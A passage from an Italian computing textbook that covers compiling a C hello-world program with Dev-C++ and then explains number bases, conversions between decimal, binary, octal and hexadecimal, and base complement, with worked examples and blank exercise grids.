Per potersi esercitare nell'uso del linguaggio C, è necessario un compilatore. I sistemi GNU e derivati, dispongono di norma del compilatore GNU C, ma in generale ogni sistema Unix dovrebbe consentire di compilare un programma utilizzando semplicemente il comando '`cc`', a cui si fa riferimento inizialmente nel capitolo del corso che introduce alla compilazione stessa.

Per compilare un programma C in un sistema operativo come MS-Windows, occorre uno strumento apposito. Nel caso di MS-Windows si suggerisce l'uso di Dev-C++ che è molto facile da installare e da usare, pur non offrendo il classico '`cc`' da riga di comando. Nelle figure successive viene mostrato, intuitivamente, il procedimento per creare un file, compilarlo ed eseguirlo.

Figura u7.1. Aspetto di Dev-C++ dopo l’avvio.

Figura u7.2. Creazione di un file sorgente nuovo.

Figura u7.3. Un file che mostra un messaggio, attende la pressione di [*Invio*] e termina di funzionare.

```
#include <stdio.h>
int main (void)
{
    printf ("Ciao mondo!\n");
    getchar ();
    return 0;
}
```

Figura u7.4. Compilazione.

Figura u7.5. Esecuzione.

Figura u7.6. Finestra testuale da dove si vede l'emissione del messaggio del programma. Basta premere [*Invio*] per fare terminare il funzionamento del programma e lasciare così che la finestra si chiuda.

Riferimenti:

- BloodshedSoftware, *Dev-C++*

  ⟨*http://www.bloodshed.net/devcpp.html* ⟩

  ⟨*http://www.bloodshed.net/dev/* ⟩

  ⟨*http://sourceforge.net/projects/dev-cpp/* ⟩

[1] Va tenuta sempre in considerazione la possibilità che alcune soluzioni o correzioni non siano esatte, pertanto, in caso di dubbio, va consultato un docente o comunque una persona competente.

Capitolo 91

Dai sistemi di numerazione all'organizzazione della memoria

91.1 Sistemi di numerazione 5418

91.1.1 Sistema decimale 5418
91.1.2 Sistema binario 5419
91.1.3 Sistema ottale 5420
91.1.4 Sistema esadecimale 5421

91.2 Conversioni numeriche di valori interi 5422

91.2.1 Numerazione ottale 5423
91.2.2 Numerazione esadecimale 5424
91.2.3 Numerazione binaria 5426
91.2.4 Conversione tra ottale, esadecimale e binario 5428

91.3 Conversioni numeriche di valori non interi 5430

91.3.1 Conversione da base 10 ad altre basi 5430
91.3.2 Conversione a base 10 da altre basi 5432
91.3.3 Conversione tra ottale, esadecimale e binario 5434

91.4 Operazioni elementari e sistema di rappresentazione binaria dei valori 5435

91.4.1 Complemento alla base di numerazione 5435
91.4.2 Complemento a uno e complemento a due 5437
91.4.3 Addizione binaria 5438
91.4.4 Sottrazione binaria 5439
91.4.5 Moltiplicazione binaria 5439
91.4.6 Divisione binaria 5440
91.4.7 Rappresentazione binaria di numeri interi senza segno 5440
91.4.8 Rappresentazione binaria di numeri interi con segno 5440
91.4.9 Cenni alla rappresentazione binaria di numeri in virgola mobile 5443

91.5 Calcoli con i valori binari rappresentati nella forma usata negli elaboratori 5444

91.5.1 Modifica della quantità di cifre di un numero binario intero 5444
91.5.2 Sommatorie con i valori interi con segno 5446
91.5.3 Somme e sottrazioni con i valori interi senza segno 5448
91.5.4 Somme e sottrazioni in fasi successive 5451

91.6 Scorrimenti, rotazioni, operazioni logiche 5454

91.6.1 Scorrimento logico 5454
91.6.2 Scorrimento aritmetico 5454

91.6.3 Moltiplicazione 5455
91.6.4 Divisione 5456
91.6.5 Rotazione 5456
91.6.6 Operatori logici 5457
91.7 Organizzazione della memoria 5458
91.7.1 Pila per salvare i dati 5459
91.7.2 Chiamate di funzioni 5459
91.7.3 Variabili e array 5461
91.7.4 Ordine dei byte 5466
91.7.5 Stringhe, array e puntatori 5467
91.7.6 Utilizzo della memoria 5468
91.8 Riferimenti 5469
91.9 Soluzioni agli esercizi proposti 5469

91.1 Sistemi di numerazione

I sistemi di numerazione più comuni sono di tipo posizionale, definiti in tal modo perché la posizione in cui appaiono le cifre ha significato. I sistemi di numerazione posizionali si distinguono per la ***base di numerazione***.

91.1.1 Sistema decimale

Il sistema di numerazione decimale è tale perché utilizza dieci simboli, pertanto è un sistema ***in base dieci***. Trattandosi di un sistema di numerazione posizionale, le cifre numeriche, da «0» a «9», vanno considerate secondo la collocazione relativa tra di loro.

A titolo di esempio si può prendere il numero 745 che, eventualmente, va rappresentato in modo preciso come 745_{10}: secondo l'esperienza comune si comprende che si tratta di settecento, più quaranta, più cinque, ovvero, settecentoquarantacinque. Si arriva a questo valore sapendo che la prima cifra a destra rappresenta delle unità (cinque unità), la seconda cifra a partire da destra rappresenta delle decine (quattro decine), la terza cifra a partire da destra rappresenta delle centinaia (sette centinaia).

Figura 91.1. Esempio di scomposizione di un numero in base dieci.

745_{10} → $7\times10^2 + 4\times10^1 + 5\times10^0$

→ sette centinaia + quattro decine + cinque unità

→ settecento + quaranta + cinque

→ settecentoquarantacinque

Figura 91.2. Scomposizione di un numero in base dieci.

10^9	10^8	10^7	10^6	10^5	10^4	10^3	10^2	10^1	10^0
0	0	0	0	0	0	0	7	4	5

91.1.2 Sistema binario

Il sistema di numerazione binario (in base due), utilizza due simboli: «0» e «1».

Figura 91.3. Esempio di scomposizione di un numero in base due.

$$10010_2 \rightarrow 1\times2^4 + 0\times2^3 + 0\times2^2 + 1\times2^1 + 0\times2^0$$

$$\rightarrow 1\times16 + 0\times8 + 0\times4 + 1\times2 + 0\times1$$

$$\rightarrow 18_{10}$$

Figura 91.4. Scomposizione di un numero in base due.

2^9	2^8	2^7	2^6	2^5	2^4	2^3	2^2	2^1	2^0
0	0	0	0	0	1	0	0	1	0

91.1.2.1 Esercizio

Si traduca il valore 11110011_2 in base dieci, con l'aiuto dello schema successivo, completandolo con una matita o con una penna, eventualmente con l'uso di una calcolatrice comune:

2^9	2^8	2^7	2^6	2^5	2^4	2^3	2^2	2^1	2^0

Pertanto, il risultato in base dieci è:

10^9	10^8	10^7	10^6	10^5	10^4	10^3	10^2	10^1	10^0

91.1.2.2 Esercizio

Si traduca il valore 01100110_2 in base dieci, con l'aiuto dello schema successivo, completandolo con una matita o con una penna, eventualmente con l'uso di una calcolatrice comune:

2^9	2^8	2^7	2^6	2^5	2^4	2^3	2^2	2^1	2^0

Pertanto, il risultato in base dieci è:

10^9	10^8	10^7	10^6	10^5	10^4	10^3	10^2	10^1	10^0

91.1.3 Sistema ottale

Il sistema di numerazione ottale (in base otto), utilizza otto simboli: da «0» a «7».

Figura 91.9. Esempio di scomposizione di un numero in base otto.

$$354_8 \rightarrow 3\times8^2 + 5\times8^1 + 4\times8^0$$
$$\rightarrow 3\times64 + 5\times8 + 4\times1$$
$$\rightarrow 236_{10}$$

Figura 91.10. Scomposizione di un numero in base otto.

8^9	8^8	8^7	8^6	8^5	8^4	8^3	8^2	8^1	8^0
0	0	0	0	0	0	0	3	5	4

91.1.3.1 Esercizio

Si traduca il valore 1357_8 in base dieci, con l'aiuto dello schema successivo, completandolo con una matita o con una penna, eventualmente con l'uso di una calcolatrice comune:

8^9	8^8	8^7	8^6	8^5	8^4	8^3	8^2	8^1	8^0

Pertanto, il risultato in base dieci è:

10^9	10^8	10^7	10^6	10^5	10^4	10^3	10^2	10^1	10^0

91.1.3.2 Esercizio

Si traduca il valore 7531_8 in base dieci, con l'aiuto dello schema successivo, completandolo con una matita o con una penna, eventualmente con l'uso di una calcolatrice comune:

8^9	8^8	8^7	8^6	8^5	8^4	8^3	8^2	8^1	8^0

Pertanto, il risultato in base dieci è:

10^9	10^8	10^7	10^6	10^5	10^4	10^3	10^2	10^1	10^0

91.1.4 Sistema esadecimale

Il sistema di numerazione esadecimale (in base sedici), utilizza sedici simboli: le cifre numeriche da «0» a «9» e le lettere (maiuscole) dalla «A» alla «F».

Figura 91.15. Esempio di scomposizione di un numero in base sedici.

$$9C8_{16} \rightarrow 9\times16^2 + 12\times16^1 + 8\times16^0$$

$$\rightarrow 9\times256 + 12\times16 + 8\times1$$

$$\rightarrow 2504_{10}$$

Figura 91.16. Scomposizione di un numero in base sedici.

16^9	16^8	16^7	16^6	16^5	16^4	16^3	16^2	16^1	16^0
0	0	0	0	0	0	0	9	C	8

91.1.4.1 Esercizio

Si traduca il valore $15AC_{16}$ in base dieci, con l'aiuto dello schema successivo, completandolo con una matita o con una penna, eventualmente con l'uso di una calcolatrice comune:

16^9	16^8	16^7	16^6	16^5	16^4	16^3	16^2	16^1	16^0

Pertanto, il risultato in base dieci è:

10^9	10^8	10^7	10^6	10^5	10^4	10^3	10^2	10^1	10^0

91.1.4.2 Esercizio

Si traduca il valore $CF58_{16}$ in base dieci, con l'aiuto dello schema successivo, completandolo con una matita o con una penna, eventualmente con l'uso di una calcolatrice comune:

16^9	16^8	16^7	16^6	16^5	16^4	16^3	16^2	16^1	16^0

Pertanto, il risultato in base dieci è:

10^9	10^8	10^7	10^6	10^5	10^4	10^3	10^2	10^1	10^0

91.2 Conversioni numeriche di valori interi

Un numero intero espresso in base dieci, viene interpretato sommando il valore di ogni singola cifra moltiplicando per 10^n (n rappresenta la cifra n-esima, a partire da zero). Per esempio, 12345 si può esprimere come $5\times10^0 + 4\times10^1 + 3\times10^2 + 2\times10^3 + 1\times10^4$. Nello stesso modo, si può scomporre un numero per esprimerlo in base dieci dividendo ripetutamente il numero per la base, recuperando ogni volta il resto della divisione. Per esempio, il valore 12345 (che ovviamente è già espresso in base dieci), si scompone nel modo seguente: 12345/10=1234 con il resto di cinque; 1234/10=123 con il resto di quattro; 123/10=12 con il resto di tre; 12/10=1 con il resto di due; 1/10=0 con il resto di uno (quando si ottiene un quoziente nullo, la conversione è terminata). Ecco che la sequenza dei resti dà il numero espresso in base dieci: 12345.

Riquadro 91.21. Il resto della divisione.

Per riuscire a convertire un numero intero da una base di numerazione a un'altra, occorre sapere calcolare il resto della divisione.
Si immagini di avere un sacchetto di nove palline uguali, da dividere equamente fra quattro amici.
Per calcolare quante palline spettano a ognuno, si esegue la divisione seguente:
9/4 = 2,25
Il risultato intero della divisione è due, pertanto ognuno dei quattro amici può avere due palline e il resto della divisione è costituito dalle palline che non possono essere suddivise. Come si comprende facilmente, il resto è di una pallina:
9 – (2×4) = 1

91.2.1 Numerazione ottale

La numerazione ottale, ovvero in base otto, si avvale di otto cifre per rappresentare i valori: da zero a sette. La tecnica di conversione di un numero ottale in un numero decimale è la stessa mostrata a titolo esemplificativo per il sistema decimale, con la differenza che la base di numerazione è otto. Per esempio, per interpretare il numero ottale 12345_8, si procede come segue: $5×8^0 + 4×8^1 + 3×8^2 + 2×8^3 + 1×8^4$. Pertanto, lo stesso numero si potrebbe rappresentare in base dieci come 5349. Al contrario, per convertire il numero 5349 (qui espresso in base 10), si può procedere nel modo seguente: 5349/8=668 con il resto di cinque; 668/8=83 con il resto di quattro; 83/8=10 con il resto di tre; 10/8=1 con il resto di due; 1/8=0 con il resto di uno. Ecco che così si riottiene il numero ottale 12345_8.

Figura 91.22. Conversione in base otto.

32485_{10}

$32485/8$ = 4060 con resto di 5

$4060/8$ = 507 con resto di 4

$507/8$ = 63 con resto di 3

$63/8$ = 7 con resto di 7

$7/8$ = 0 con resto di 7

→ 77345_8

Figura 91.23. Calcolo del valore corrispondente di un numero espresso in base otto.

77345_8

$5 \times 8^0 = 5_{10}$

$4 \times 8^1 = 32_{10}$

$3 \times 8^2 = 192_{10}$

$7 \times 8^3 = 3584_{10}$

$7 \times 8^4 = 28672_{10}$

totale 32485_{10}

91.2.1.1 Esercizio

Si traduca il valore 1234_{10} in base otto, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

8^9	8^8	8^7	8^6	8^5	8^4	8^3	8^2	8^1	8^0

91.2.1.2 Esercizio

Si traduca il valore 4321_{10} in base otto, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

8^9	8^8	8^7	8^6	8^5	8^4	8^3	8^2	8^1	8^0

91.2.2 Numerazione esadecimale

La numerazione esadecimale, ovvero in base sedici, funziona in modo analogo a quella ottale, con la differenza che si avvale di 16 cifre per rappresentare i valori, per cui si usano le cifre numeriche da zero a nove, più le lettere da «A» a «F» per i valori successivi. In pratica, la lettera «A» nelle unità corrisponde al numero 10 e la lettera «F» nelle unità corrisponde al numero 15.

La tecnica di conversione è la stessa già vista per il sistema ottale, tenendo conto della difficoltà ulteriore introdotta dalle lettere aggiuntive. Per esempio, per interpretare il numero esadecimale $19ADF_{16}$, si procede come segue: $15 \times 16^0 + 13 \times 16^1 + 10 \times 16^2 + 9 \times 16^3 + 1 \times 16^4$. Pertanto, lo stesso numero si potrebbe rappresentare in base dieci come 105183. Al contrario,

per convertire il numero 105183 (qui espresso in base 10), si può procedere nel modo seguente: 105183/16=6573 con il resto di 15, ovvero F_{16}; 6573/16=410 con il resto di 13, ovvero D_{16}; 410/16=25 con il resto di 10, ovvero A_{16}; 25/16=1 con il resto di nove; 1/16=0 con il resto di uno. Ecco che così si riottiene il numero esadecimale $19ADF_{16}$.

Figura 91.26. Conversione in base sedici.

32485_{10}

$32485/16$ = 2030 con resto di 5_{10} = 5_{16}

$2030/16$ = 126 con resto di 14_{10} = E_{16}

$126/16$ = 7 con resto di 14_{10} = E_{16}

$7/16$ = 0 con resto di 7_{10} = 7_{16}

→ $7EE5_{16}$

Figura 91.27. Calcolo del valore corrispondente di un numero espresso in base sedici.

$7EE5_{16}$

$5 \times 16^0 = 5_{10}$

$E_{16} \rightarrow 14 \times 16^1 = 224_{10}$

$E_{16} \rightarrow 14 \times 16^2 = 3584_{10}$

$7 \times 16^3 = 28672_{10}$

→ totale 32485_{10}

91.2.2.1 Esercizio

Si traduca il valore 44221_{10} in base sedici, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

16^9	16^8	16^7	16^6	16^5	16^4	16^3	16^2	16^1	16^0

91.2.2.2 Esercizio

Si traduca il valore 12244_{10} in base sedici, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

16^9	16^8	16^7	16^6	16^5	16^4	16^3	16^2	16^1	16^0

91.2.3 Numerazione binaria

La numerazione binaria, ovvero in base due, si avvale di sole due cifre per rappresentare i valori: zero e uno. Si tratta evidentemente di un esempio limite di rappresentazione di valori, dal momento che utilizza il minor numero di cifre. Questo fatto semplifica in pratica la conversione.

Seguendo la logica degli esempi già mostrati, si analizza brevemente la conversione del numero binario 1100_2: $0\times2^0 + 0\times2^1 + 1\times2^2 + 1\times2^3$. Pertanto, lo stesso numero si potrebbe rappresentare come 12 secondo il sistema standard. Al contrario, per convertire il numero 12, si può procedere nel modo seguente: 12/2=6 con il resto di zero; 6/2=3 con il resto di zero; 3/2=1 con il resto di uno; 1/2=0 con il resto di uno. Ecco che così si riottiene il numero binario 1100_2.

Figura 91.30. Conversione in base due.

32485_{10}

32485/2	=	16242 con resto di 1
16242/2	=	8121 con resto di 0
8121/2	=	4060 con resto di 1
4060/2	=	2030 con resto di 0
2030/2	=	1015 con resto di 0
1015/2	=	507 con resto di 1
507/2	=	253 con resto di 1
253/2	=	126 con resto di 1
126/2	=	63 con resto di 0
63/2	=	31 con resto di 1
31/2	=	15 con resto di 1
15/2	=	7 co n resto di 1
7/2	=	3 con resto di 1
3/2	=	1 con resto di 1
1/2	=	0 con resto di 1

111111011100101_2

Figura 91.31. Calcolo del valore corrispondente di un numero espresso in base due.

111111011100101_2

$$
\begin{aligned}
1 \times 2^{0} &= 1_{10}\\
0 \times 2^{1} &= 0_{10}\\
1 \times 2^{2} &= 4_{10}\\
0 \times 2^{3} &= 0_{10}\\
0 \times 2^{4} &= 0_{10}\\
1 \times 2^{5} &= 32_{10}\\
1 \times 2^{6} &= 64_{10}\\
1 \times 2^{7} &= 128_{10}\\
0 \times 2^{8} &= 0_{10}\\
1 \times 2^{9} &= 512_{10}\\
1 \times 2^{10} &= 1024_{10}\\
1 \times 2^{11} &= 2048_{10}\\
1 \times 2^{12} &= 4096_{10}\\
1 \times 2^{13} &= 8192_{10}\\
1 \times 2^{14} &= 16384_{10}
\end{aligned}
$$

totale 32485_{10}

Si può convertire un numero in binario, in modo più semplice, se si costruisce una tabellina simile a quella seguente:

16384	8192	4096	2048	1024	512	256	128	64	32	16	8	4	2	1

I valori indicati sopra ogni casellina sono la sequenza delle potenze di due: 2^0, 2^1, 2^2,... 2^n.

Se si vuole convertire un numero binario in base dieci, basta disporre le sue cifre dentro le caselline, allineato a destra, moltiplicando ogni singola cifra per il valore che gli appare sopra, sommando poi ciò che si ottiene. Per esempio:

16384	8192	4096	2048	1024	512	256	128	64	32	16	8	4	2	1
											1	0	1	0

8 + 0 + 2 + 0 = 10

Per trovare il corrispondente binario di un numero in base 10, basta sottrarre sempre il valore più grande possibile. Supponendo di voler convertire il numero 123 in binario, si possono sottrarre i valori: 64, 32, 16, 8, 2 e 1:

16384	8192	4096	2048	1024	512	256	128	64	32	16	8	4	2	1
								1	1	1	1	0	1	1

64 + 32 + 16 + 8 + 0 + 2 + 1 = 123

91.2.3.1 Esercizio

Si traduca il valore 1234_{10} in base due, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

16384	8192	4096	2048	1024	512	256	128	64	32	16	8	4	2	1

91.2.3.2 Esercizio

Si traduca il valore 4321_{10} in base due, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

16384	8192	4096	2048	1024	512	256	128	64	32	16	8	4	2	1

91.2.4 Conversione tra ottale, esadecimale e binario

I sistemi di numerazione ottale ed esadecimale hanno la proprietà di convertirsi in modo facile in binario e viceversa. Infatti, una cifra ottale richiede esattamente tre cifre binarie per la sua rappresentazione, mentre una cifra esadecimale richiede quattro cifre binarie per la sua rappresentazione. Per esempio, il numero ottale 123_8 si converte facilmente in 001010011_2; inoltre, il numero esadecimale $3C_{16}$ si converte facilmente in 00111100_2.

Figura 91.37. Conversione tra la numerazione ottale e numerazione binaria.

In pratica, è sufficiente convertire ogni cifra ottale o esadecimale nel valore corrispondente in binario. Quindi, sempre nel caso di 123_8, si ottengono 001_2, 010_2 e 011_2, che basta attaccare come già è stato mostrato. Nello stesso modo si procede nel caso di $3C_{16}$, che forma rispettivamente 0011_2 e 1100_2.

Figura 91.38. Conversione tra la numerazione esadecimale e numerazione binaria.

È evidente che risulta facilitata ugualmente la conversione da binario a ottale o da binario a esadecimale.

Figura 91.39. Riassunto della conversione tra binario-ottale e binario-esadecimale.

$$111111011100101_2$$
$$7\ 7\ 3\ 4\ 5_8$$
$$0111111011100101_2$$
7 14 14 5
$$7\ E\ E\ 5_{16}$$
$$0111111011100101_2$$

91.2.4.1 Esercizio

Si traduca il valore ABC_{16} in base due e quindi in base otto, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

			16

2048	1024	512	256	128	64	32	16	8	4	2	1	
												2

				8

91.2.4.2 Esercizio

Si traduca il valore 7655_8 in base due e quindi in base sedici, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

				8

2048	1024	512	256	128	64	32	16	8	4	2	1	
												2

			16

91.3 Conversioni numeriche di valori non interi

La conversione di valori non interi in basi di numerazione differenti, richiede un procedimento più complesso, dove si convertono, separatamente, la parte intera e la parte restante.

Il procedimento di scomposizione di un numero che contenga delle cifre dopo la parte intera, si svolge in modo simile a quello di un numero intero, con la differenza che le cifre dopo la parte intera vanno moltiplicate per la base elevata a una potenza negativa. Per esempio, il numero $12{,}345_{10}$ si può esprimere come $1\times10^{1} + 2\times10^{0} + 3\times10^{-1} + 4\times10^{-2} + 5\times10^{-3}$.

91.3.1 Conversione da base 10 ad altre basi

Come accennato nella premessa del capitolo, la conversione di un numero in un'altra base procede in due fasi: una per la parte intera, l'altra per la parte restante, unendo poi i due valori trovati. Per comprendere il meccanismo conviene simulare una conversione dalla base 10 alla stessa base 10, con un esempio: 12,345.

Per la parte intera, si procede come al solito, dividendo per la base di numerazione del numero da trovare e raccogliendo i resti; per la parte rimanente, il procedimento richiede invece di moltiplicare il valore per la base di destinazione e raccogliere le cifre intere trovate. Si osservi la figura successiva che rappresenta il procedimento.

Figura 91.42. Conversione da base 10 a base 10.

$12{,}345_{10}$

12/10 = 1 con il resto di 2 → 2

1/10 = 0 con il resto di 1 → 1

0,345 × 10 = 3,45 → 3

0,45 × 10 = 4,5 → 4

0,5 × 10 = 5 → 5

→ $12{,}345_{10}$

Quello che si deve osservare dalla figura è che l'ordine delle cifre cambia nelle due fasi del calcolo. Nelle figure successive si vedono altri esempi di conversione nelle altre basi di numerazione comuni.

Figura 91.43. Conversione da base 10 a base 16.

$12{,}345_{10}$

12/16 = 0 con il resto di 12 → C

0,345 × 16 = 5,52 → 5

0,52 × 16 = 8,32 → 8

0,32 × 16 = 5,12 → 5

0,12 × 16 = 1,92 → 1

0,92 × 16 = 14,72 → E

0,72 × 16 = 11,52 → B

⋮ ⋮ ⋮

→ $C{,}5851EB_{16}$

Figura 91.44. Conversione da base 10 a base 8.

$12{,}345_{10}$

$12/8$ = 1 con il resto di 4 → 4

$1/8$ = 0 con il resto di 1 → 1

$0{,}345 \times 8 = 2{,}76$ → 2

$0{,}76 \times 8 = 6{,}08$ → 6

$0{,}08 \times 8 = 0{,}64$ → 0

$0{,}64 \times 8 = 5{,}12$ → 5

⋮

$14{,}2605_8$

Figura 91.45. Conversione da base 10 a base 2.

$12{,}345_{10}$

$12/2$ = 6 con il resto di 0 → 0

$6/2$ = 3 con il resto di 0 → 0

$3/2$ = 1 con il resto di 1 → 1

$1/2$ = 0 con il resto di 1 → 1

$0{,}345 \times 2 = 0{,}69$ → 0

$0{,}69 \times 2 = 1{,}38$ → 1

$0{,}38 \times 2 = 0{,}76$ → 0

$0{,}76 \times 2 = 1{,}52$ → 1

$0{,}52 \times 2 = 1{,}04$ → 1

⋮

$1100{,}01011_2$

91.3.1.1 Esercizio

Si traduca il valore $43{,}21_{10}$ in base otto, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

8^5	8^4	8^3	8^2	8^1	8^0	,	8^{-1}	8^{-2}	8^{-3}	8^{-4}	8^{-5}
						,					

91.3.1.2 Esercizio

Si traduca il valore $765{,}4321_{10}$ in base sedici, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

16^5	16^4	16^3	16^2	16^1	16^0	,	16^{-1}	16^{-2}	16^{-3}	16^{-4}	16^{-5}
						,					

91.3.1.3 Esercizio

Si traduca il valore $21{,}11_{10}$ in base due, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

2^5	2^4	2^3	2^2	2^1	2^0	,	2^{-1}	2^{-2}	2^{-3}	2^{-4}	2^{-5}
						,					

91.3.2 Conversione a base 10 da altre basi

Per convertire un numero da una base di numerazione qualunque alla base 10, è necessario attribuire a ogni cifra il valore corrispondente, da sommare poi per ottenere il valore complessivo. Nelle figure successive si vedono gli esempi relativi alle basi di numerazione più comuni.

Figura 91.49. Conversione da base 16 a base 10.

$C{,}5851EB_{16}$

$$
\begin{aligned}
C_{16} \rightarrow 12 \times 16^{0} &= 12_{10} \\
5 \times 16^{-1} &= 0{,}3125000_{10} \\
8 \times 16^{-2} &= 0{,}0312500_{10} \\
5 \times 16^{-3} &= 0{,}0012207_{10} \\
1 \times 16^{-4} &= 0{,}0000152_{10} \\
E_{16} \rightarrow 14 \times 16^{-5} &= 0{,}0000133_{10} \\
B_{16} \rightarrow 11 \times 16^{-6} &= 0{,}0000006_{10}
\end{aligned}
$$

totale $12{,}3449998_{10}$

Figura 91.50. Conversione da base 8 a base 10.

$14{,}2605_8$

$$
\begin{aligned}
1 \times 8^{1} &= 8_{10} \\
4 \times 8^{0} &= 4_{10} \\
2 \times 8^{-1} &= 0{,}2500000_{10} \\
6 \times 8^{-2} &= 0{,}0937500_{10} \\
0 \times 8^{-3} &= 0{,}0000000_{10} \\
5 \times 8^{-4} &= 0{,}0012207_{10}
\end{aligned}
$$

totale $12{,}3449707_{10}$

Figura 91.51. Conversione da base 2 a base 10.

$1100{,}01011_2$

$$
\begin{aligned}
1 \times 2^{3} &= 8_{10} \\
1 \times 2^{2} &= 4_{10} \\
0 \times 2^{1} &= 0_{10} \\
0 \times 2^{0} &= 0_{10} \\
0 \times 2^{-1} &= 0_{10} \\
1 \times 2^{-2} &= 0{,}25000_{10} \\
0 \times 2^{-3} &= 0_{10} \\
1 \times 2^{-4} &= 0{,}06250_{10} \\
1 \times 2^{-5} &= 0{,}03125_{10}
\end{aligned}
$$

totale $12{,}34375_{10}$

91.3.2.1 Esercizio

Si traduca il valore $765{,}432_8$ in base dieci, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

10^5	10^4	10^3	10^2	10^1	10^0	,	10^{-1}	10^{-2}	10^{-3}	10^{-4}	10^{-5}
						,					

91.3.2.2 Esercizio

Si traduca il valore AB,CD$_{16}$ in base dieci, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

10^5	10^4	10^3	10^2	10^1	10^0		10^{-1}	10^{-2}	10^{-3}	10^{-4}	10^{-5}
						,					

91.3.2.3 Esercizio

Si traduca il valore 101010,110011$_2$ in base dieci, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

10^5	10^4	10^3	10^2	10^1	10^0		10^{-1}	10^{-2}	10^{-3}	10^{-4}	10^{-5}
						,					

91.3.3 Conversione tra ottale, esadecimale e binario

Per quanto riguarda la conversione tra sistemi di numerazione ottale, esadecimale e binario, vale lo stesso principio dei numeri interi, con la differenza che occorre rispettare la separazione della parte intera da quella decimale. L'esempio della figura successiva dovrebbe essere abbastanza chiaro.

Figura 91.55. Conversione tra binario-ottale e binario-esadecimale.

$$001\,100\,,\,010\,110\,000\,101_2$$

$$1\;\;4\;,\;2\;\;6\;\;0\;\;5_8$$

$$001100\,,\,010110000101_2$$

$$12\quad 5\quad 8\quad 5$$

$$C\;,\;5\;\;8\;\;5_{16}$$

$$1100\,,\,010110000101_2$$

91.3.3.1 Esercizio

Si traduca il valore 76,55$_8$ in base due e quindi in base sedici, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

			,				8

256	128	64	32	16	8	4	2	1	,	2^{-1}	2^{-2}	2^{-3}	2^{-4}	2^{-5}	2^{-6}	2^{-7}	2^{-8}	2^{-9}	
									,										2

		,			16

91.3.3.2 Esercizio

Si traduca il valore A7,C1$_{16}$ in base due e quindi in base otto, con l'uso di una calcolatrice comune e di un foglio di carta per annotare i calcoli intermedi, compilando poi lo schema successivo:

		,			16

256	128	64	32	16	8	4	2	1	,	2^{-1}	2^{-2}	2^{-3}	2^{-4}	2^{-5}	2^{-6}	2^{-7}	2^{-8}	2^{-9}	
									,										2

			,				8

91.4 Operazioni elementari e sistema di rappresentazione binaria dei valori

È importante conoscere alcuni concetti legati ai calcoli più semplici, applicati al sistema binario; soprattutto il modo in cui si utilizza il complemento a due. Infatti, la memoria di un elaboratore consente di annotare esclusivamente delle cifre binarie, in uno spazio di dimensione prestabilita e fissa; pertanto, attraverso il complemento a due si ha la possibilità di gestire in modo «semplice» la rappresentazione dei numeri interi negativi.

91.4.1 Complemento alla base di numerazione

Dato un numero n, espresso in base b, con k cifre, il ***complemento alla base*** è costituito da b^k-n.

Per esempio, il complemento alla base del numero 00123456789 (espresso in base dieci utilizzando 11 cifre) è 99876543211:

$$\begin{array}{r} 100000000000_{10} - \\ 00123456789_{10} = \\ \hline 99876543211_{10} \end{array}$$

Dall'esempio si deve osservare che la quantità di cifre utilizzata è determinante nel calcolo del complemento, infatti, il complemento alla base dello stesso numero, usando però solo nove cifre (123456789) è invece 876543211:

$$\begin{array}{r} 1000000000_{10} - \\ 123456789_{10} = \\ \hline 876543211_{10} \end{array}$$

In modo analogo si procede con i valori aventi una base diversa; per esempio, il complemento alla base del numero binario 00110011_2, composto da otto cifre, è pari a 11001101_2:

$$\begin{array}{r} 100000000_2 - \\ 00110011_2 = \\ \hline 11001101_2 \end{array}$$

Il calcolo del complemento alla base, nel sistema binario, avviene in modo molto semplice, se si trasforma in questo modo:

$$\begin{array}{r} 11111111_2 - \\ 00110011_2 = \\ \hline 11001100_2 + \\ 1_2 = \\ \hline 11001101_2 \end{array}$$

In pratica, si prende un numero composto da una quantità di cifre a uno, pari alla stessa quantità di cifre del numero di partenza; quindi si esegue la sottrazione, poi si aggiunge il valore uno al risultato finale. Si osservi però cosa accade con una situazione leggermente differente, per il calcolo del complemento alla base di 0011001100_2:

$$\begin{array}{r} 1111111111_2 - \\ 0011001100_2 = \\ \hline 1100110011_2 + \\ 1_2 = \\ \hline 1100110100_2 \end{array}$$

Per eseguire una sottrazione, si può calcolare il complemento alla base del sottraendo (il valore da sottrarre), sommandolo poi al valore di partenza, trascurando il riporto eventuale. Per esempio, volendo sottrarre da 1757 il valore 758, si può calcolare il complemento alla base di 0758 (usando la stessa quantità di cifre dell'altro valore), per poi sommarla. Il complemento alla base di 0758 è 9242:

$$\begin{array}{r} 10000_{10} - \\ 0758_{10} = \\ \hline 9242_{10} \end{array}$$

Invece di eseguire la sottrazione, si somma il valore ottenuto a quello di partenza, ignorando il riporto:

$$\begin{array}{r} 1757_{10} + \\ 9242_{10} = \\ \hline 10999_{10} - \\ 10000_{10} = \\ \hline 999_{10} \end{array}$$

Infatti: 1757−758=999.

91.4.1.1 Esercizio

Si determini il complemento alla base del valore 0000123456_{10} (a dieci cifre), compilando lo schema successivo:

										10

91.4.1.2 Esercizio

Si determini il complemento alla base del valore 9999123456_{10} (a dieci cifre), compilando lo schema successivo:

										10

91.4.2 Complemento a uno e complemento a due

